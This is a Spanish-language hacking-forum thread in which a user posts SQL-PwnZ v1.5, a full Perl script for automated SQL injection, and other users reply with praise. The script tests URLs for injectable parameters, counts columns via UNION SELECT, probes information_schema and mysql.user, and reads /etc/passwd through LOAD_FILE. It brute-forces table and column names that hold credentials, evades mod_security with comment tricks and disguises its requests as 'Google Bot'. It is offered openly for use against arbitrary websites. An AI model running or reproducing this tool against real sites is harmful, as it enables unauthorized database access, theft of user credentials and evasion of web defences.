Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: Login-Root en 6 Abril 2010, 09:11 am



Título: SQL-PwnZ v1.5 [NEW] [Mix Collations & mod_security Bypass]
Publicado por: Login-Root en 6 Abril 2010, 09:11 am
Nuevo:

  • Agregado mod_security Bypass.
  • Agregado Illegal Mix Of Collations Bypass.
  • Agregadas más tablas para bruteforce.
  • Agregadas más columnas para bruteforce.
  • Código interno mejorado.
  • Bugs Fixeados.
Sitio con mod_security activado:

(http://r.i.elhacker.net/cache?url=http://img441.imageshack.us/img441/9385/pantallazo6.png)


SQL-PwnZ: Bypasseando


(http://r.i.elhacker.net/cache?url=http://img338.imageshack.us/img338/7571/pantallazo4z.png)


Salida:

(http://r.i.elhacker.net/cache?url=http://img535.imageshack.us/img535/1012/pantallazo5.png)




Sitio con Illegal Mix Of Collations:

(http://r.i.elhacker.net/cache?url=http://img521.imageshack.us/img521/2458/pantallazo2p.png)


SQL-PwnZ: Bypasseando

(http://r.i.elhacker.net/cache?url=http://img401.imageshack.us/img401/8025/pantallazon.png)


Salida:

(http://r.i.elhacker.net/cache?url=http://img29.imageshack.us/img29/3073/pantallazo1pn.png)




Código:


Código:
#!/usr/bin/perl

##################################################################################################################
#                                  -[+]- SQL-PwnZ v1.5 | By Login-Root -[+]-                                   ###
##################################################################################################################

##################################################################################################################
# [+] inf0:                                                                                                    ###
##################################################################################################################
# Busca:                                                                                                       ###
# ======                                                                                                       ###
#  - Nº de columnas                                                                                            ###
#  - Information_Schema && MySQL.User                                                                          ###
#  - LOAD_FILE                                                                                                 ###
#  - Tablas                                                                                                    ###
#  - Columnas                                                                                                  ###
#  - Illegal Mix Of Collations Bypass && mod_security Bypass                                                   ###
#                                                                                                              ###
#  ...y guarda todo en un archivo de texto.                                                                    ###
#                                                                                                              ###
##################################################################################################################

##################################################################################################################
# [+] Use:                                                                                                     ###
##################################################################################################################
# perl sqlpwnz.pl [WEBSITE] [COLUMNAS] [ARCHIVO] [COMENTARIO] [-TB] [-CL] [-NOCHECK] [-MOD_FUCK] [-MIX_BYPASS] ###
#   [WEBSITE]: http://www.web.com/index.php?id=12 [INGRESAR UN ID VALIDO]                                      ###
#   [COLUMNAS]: Limite de columnas                                                                             ###
#   [ARCHIVO]: Archivo donde guardar web vulnerable                                                            ###
#   [COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)                                                    ###
#   [-TB]: Intentar brutear tablas (Opcional)                                                                  ###
#   [-CL]: Intentar brutear columnas (Opcional)                                                                ###
#   [-NOCHECK]: No hacer el chequeo inicial (Opcional)                                                         ###
#   [-MOD_FUCK]: Activar mod_security Bypass (Opcional)                                                        ###
#   [-MIX_BYPASS]: Activar Illegal Mix Of Collations Bypass (Opcional)                                         ###
##################################################################################################################

##################################################################################################################
# [+] c0ntact:                                                                                                 ###
##################################################################################################################
# MSN:    no.more@passport.com                                                                                 ###
# E-Mail: login_root@yahoo.com.ar                                                                              ###
##################################################################################################################

##################################################################################################################
# [+] sh0utz:                                                                                                  ###
##################################################################################################################
# Greetz: KiKo ; VanHan ; [Dead] Knet ; Ricota ; InyeXion ; OxOnO ; Matt ; r0dr1 ; oceanik6 ; OzX ; yoyahack   ###
# VISIT: WWW.REMOTEEXECUTION.ORG | WWW.DIOSDELARED.COM                                                         ###
##################################################################################################################

use HTTP::Request;
use LWP::UserAgent;

if(!$ARGV[2])
{
print "\n\n-[+]- SQL-PwnZ v1.5 | By Login-Root -[+]-\n=========================================";
print "\n\nUso: perl $0 [WEBSITE] [COLUMNAS] [ARCHIVO] [COMENTARIO] [-TB] [-CL] [-NOCHECK] [-MOD_FUCK] [-MIX_BYPASS]\n";
print "\n[WEBSITE]: http://www.web.com/index.php?id=12 [INGRESAR UN ID VALIDO]\n[COLUMNAS]: Limite de columnas\n[ARCHIVO]: Archivo donde guardar web vulnerable\n[COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)\n[-TB]: Intentar brutear tablas (Opcional)\n[-CL]: Intentar brutear columnas (Opcional)\n[-NOCHECK]: No hacer el chequeo inicial (Opcional)\n[-MOD_FUCK]: Activar mod_security Bypass (Opcional)\n[-MIX_BYPASS]: Activar Illegal Mix Of Collations Bypass (Opcional)\n\n";
exit (0);
}

@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario','web_users',
  'name','names','nombre','nombres','usuarios','member','members','admin_table','usuaris','web_usuarios',
  'miembro','miembros','membername','admins','administrator','sign','config','USUARIS','cms_operadores',
  'administrators','passwd','password','passwords','pass','Pass','mpn_authors','author','musuario','mysql.user',
  'user_names','foro','tAdmin','tadmin','user_password','user_passwords','user_name',
  'member_password','mods','mod','moderators','moderator','user_email','jos_users','mb_user','host','apellido_nombre',
  'user_emails','user_mail','user_mails','mail','emails','email','address','jos_usuarios','tutorial_user_auth',
  'e-mail','emailaddress','correo','correos','phpbb_users','log','logins','login','tbl_usuarios','user_auth','login_radio',
  'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass','tbl_admin','usuarios_head',
  'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador','BG_CMS_Users',
  'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id','foro_usuarios','cliente',
  'sistema_usuario','sistema_password','contrasena','auth','key','senha','signin','dir_admin','alias','clientes',
  'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member','calendar_users','cursos',
      'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization','web_users','curso',
      'membros','utilizadores','staff','nuke_authors','accounts','account','accnts','signup','leads','lead',
      'associated','accnt','customers','customer','membres','administrateur','utilisateur','riacms_users',
      'tuser','tusers','utilisateurs','password','amministratore','god','God','authors','wp_users','tb_usuarios',
      'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members','tb_usuario',
  'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');

@nombrecolumna=('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email','senha',
          'username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail','cliente',
          'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','host','pws','cedula','userName','host_password','chave','alias','apellido_nombre','cliente_nombre','cliente_email','cliente_pass','cliente_user','cliente_usuario',
          'login_id','usr','sistema_id','author','user_login','admin_user','admin_pass','uh_usuario','uh_password','psw','host_username',
          'sistema_usuario','auth','key','usuarios_nombre','usuarios_nick','usuarios_password','user_clave',
  'membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo','usuario_nombre','usuario_nick','usuario_password',
          'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
          'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');

($host, $columnas, $savelist) = @ARGV;

$agent = LWP::UserAgent->new;
$agent->agent("Google Bot");

if ( $host   !~   /^http:/ )
  {
      $host = "http://" . $host;
  }

for ($numarg = 0 ;  $numarg <= $#ARGV ; $numarg++)
{
$argumentos.= $ARGV[$numarg];
}

if ($argumentos =~ /-MIX_BYPASS/i)
{
print "\n[+] MIX_BYPASS ACTIVADO";
$hexin = "unhex(hex(";
$hexend = "))";
}
if ($argumentos !~ /-MOD_FUCK/i)
{
if ($argumentos =~ /--/)
{
$cmn= "+";
$cfin="--";
print "\n[+] Comentarios a utilizar: '--' & '+'";
}
else
{
$cmn= "/**/";
$cfin= "/*";
print "\n[+] Comentarios a utilizar: '/*' & '/**/'";
}
}
else
{
print "\n[+] MOD_FUCK ACTIVADO, se ignoran comentarios. Utilizando: '+'. Bypass: '/*!' & '*/'";
$bypass = "+/*!";
$cmn= "+";
$cfin= "*/";
}

open(WEB,">>".$savelist) || die "\n\n[-] Imposible crear el archivo de texto\n";
if ($argumentos =~ /-NOCHECK/i)
  {
      print "\n[!] Se omite el chequeo inicial...\n";
      print WEB "[WEBSITE]:\n\n$host\n";
  }
else
  {
      print "\n[!] Chequeando si la web es vulnerable...\n";
      $sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cfin));
      $response = $sql->content();
      if($response=~ /mysql_fetch_/ || $response=~ /You have an error in your SQL syntax/ || $response =~ /tem um erro de sintaxe no seu SQL/ || $response =~ /mysql_num_rows/ || $response =~ /Division by zero in/ || $response =~ /error de sintaxis al final de la entrada/ || $response =~ /Unknown column/)
        {
            print "[+] Web vulnerable, continua el script...\n";
            print WEB "[WEBSITE]:\n\n$host\n";
        }
        else
          {
            print "[-] Website aparentemente no vulnerable a SQL Inyection, intentar con otro comentario o con -NOCHECK activado\n\n";
    close(WEB);
            exit(0);
          }
  }
print "\n[!] Buscando columnas...\n";
for ($column = 1 ; $column <= $columnas ; $column ++)
{
$UNION.=','.$column;
$inyection.=','."0x6c6f67696e70776e7a";
    if ($column == 1)
      {
          print WEB "\n[COLUMNAS]:\n\n";
          $inyection = '';
          $UNION = '';
      }
    $sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin));
    $response = $sql->content();
    if($response =~ /loginpwnz/)
      {
         print "[+] La web posee $column columnas\n\n";
         $sql=$host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."1".$UNION.$cfin;
         print "$sql\n";
         print WEB "$sql\n";
         print "\n[!] Chequeando si existe Information_Schema...";
         $sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."FROM".$cmn."information_schema.tables".$cfin));
         $response = $sql->content();
         if($response =~ /loginpwnz/)
          {
          print "\n[+] Information_Schema disponible...guardando en $savelist";
            $sql=$host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."1".$UNION.$cmn."FROM".$cmn."information_schema.tables".$cfin;
            print WEB "\n\n[INFORMATION_SCHEMA]:\n\n$sql\n";
           
          }
         else
          {
            print "\n[-] Information_Schema no disponible";
          }
         print "\n[!] Chequeando si existe MySQL.User...";
         $sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."FROM".$cmn."mysql.user".$cfin));
         $response = $sql->content();
         if($response =~ /loginpwnz/)
          {
          print "\n[+] MySQL.User disponible...guardando en $savelist";
          $sql=$host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."1".$UNION.$cmn."FROM".$cmn."mysql.user".$cfin;
            print WEB "\n\n[MYSQL.USER]:\n\n$sql\n";
           
          }
         else
          {
            print "\n[-] MySQL.User no disponible";
          }
while ($loadcont < $column-1)
   {
$loadfile.=','.$hexin.'LOAD_FILE(0x2f6574632f706173737764)'.$hexend;
$loadcont++;
   }
print "\n[!] Chequeando si es posible inyectar LOAD_FILE...";
$sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn.$hexin."LOAD_FILE(0x2f6574632f706173737764)".$hexend.$loadfile.$cfin));
    $response = $sql->content();
    if($response =~ /root:x:/)
          {
          print "\n[+] LOAD_FILE disponible...guardando en $savelist";
          print WEB "\n\n[LOAD_FILE]:\n\n$hexinLOAD_FILE(0x2f6574632f706173737764)$hexend => OK! (0x2f6574632f706173737764 => /etc/passwd)\n";
          }
         else
          {
            print "\n[-] LOAD_FILE no disponible";
          }
if ($argumentos =~ /-TB/i)
          {
              print "\n\n[!] Bruteando tablas...";
              print WEB "\n\n[TABLAS]:\n\n";
              foreach $tabla(@nombretabla)
                {
                  chomp($tabla);
                  $sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."FROM".$cmn.$tabla.$cfin));
                  $response = $sql->content();
                  if($response =~ /loginpwnz/)
                    {
                        print "\n[+] La tabla $tabla esta disponible...guardando en $savelist";
                        $sql=$host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."1".$UNION.$cmn."FROM".$cmn.$tabla.$cfin;
                        print WEB "$sql\n";
                    }
                }
            }
        if ($argumentos =~ /-CL/i)
          {
          print "\n\n[!] Tabla a la cual brutear columnas: ";
            $tabla=<STDIN>;
            chomp($tabla);
            print WEB "\n\n[COLUMNAS EN $tabla]:\n\n";
            foreach $columna(@nombrecolumna)
            {
             chomp($columna);
             $sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn.$hexin."concat(0x6c6f67696e70776e7a,0x3a,$columna)".$hexend.$inyection.$cmn."FROM".$cmn.$tabla.$cfin));
             $response = $sql->content();
             if ($response =~ /loginpwnz/)
                  {
                      print "\n[+] La columna $columna esta disponible...guardando en $savelist";
                      print WEB "$hexin$columna$hexend\n";
                  }
            }
        }
        print WEB "\n\n\n[*EOF*]";
        print "\n\n[+] Todo salvado correctamente en $savelist\n\n";
        print "## c0ded by Login-Root | 2010 ##\n\n";
close(WEB);
        exit (0);
      }
}
print "[-] Imposible encontrar numero de columnas, intentar con mas columnas\n\n";
print "## c0ded by Login-Root | 2010 ##\n\n";
close(WEB);
exit (0);


Sitio:

http://sourceforge.net/projects/sqlpwnz/ (http://sourceforge.net/projects/sqlpwnz/)


Título: Re: SQL-PwnZ v1.5 [NEW] [Mix Collations & mod_security Bypass]
Publicado por: xassiz_ en 6 Abril 2010, 18:32 pm
Esta bueno, ahora lo bueno sería sacar los datos directamente cuando information_schema está activado ^^


Título: Re: SQL-PwnZ v1.5 [NEW] [Mix Collations & mod_security Bypass]
Publicado por: Login-Root en 7 Abril 2010, 00:08 am
Gracias por ser el unico en comentar aqui, prometo agregarlo en futuras versiones :)

Saludos.


Título: Re: SQL-PwnZ v1.5 [NEW] [Mix Collations & mod_security Bypass]
Publicado por: alexkof158 en 7 Abril 2010, 11:13 am
Bonita herramienta me encantaaa xD decidido a aprender Perl

aunke para la sig version deberia hacer que te arroja los datos de las columnas  :laugh:

saludos


Título: Re: SQL-PwnZ v1.5 [NEW] [Mix Collations & mod_security Bypass]
Publicado por: eXcEsuHk en 8 Enero 2013, 15:09 pm
Hi man, i use this script not work for me ..

Citar
root:senyo8z207 [/dev/shm]# perl sql.pl
Semicolon seems to be missing at sql.pl line 42.
syntax error at sql.pl line 5, near "+]"
Unmatched right square bracket at sql.pl line 43, at end of line
"use" not allowed in expression at sql.pl line 82, at end of line
syntax error at sql.pl line 82, near "use HTTP::Request"
BEGIN not safe after errors--compilation aborted at sql.pl line 83.


Título: Re: SQL-PwnZ v1.5 [NEW] [Mix Collations & mod_security Bypass]
Publicado por: WHK en 18 Marzo 2013, 21:17 pm
Se ve buena la herramienta, la probaré aver como va y te comento :) felicidades por la iniciativa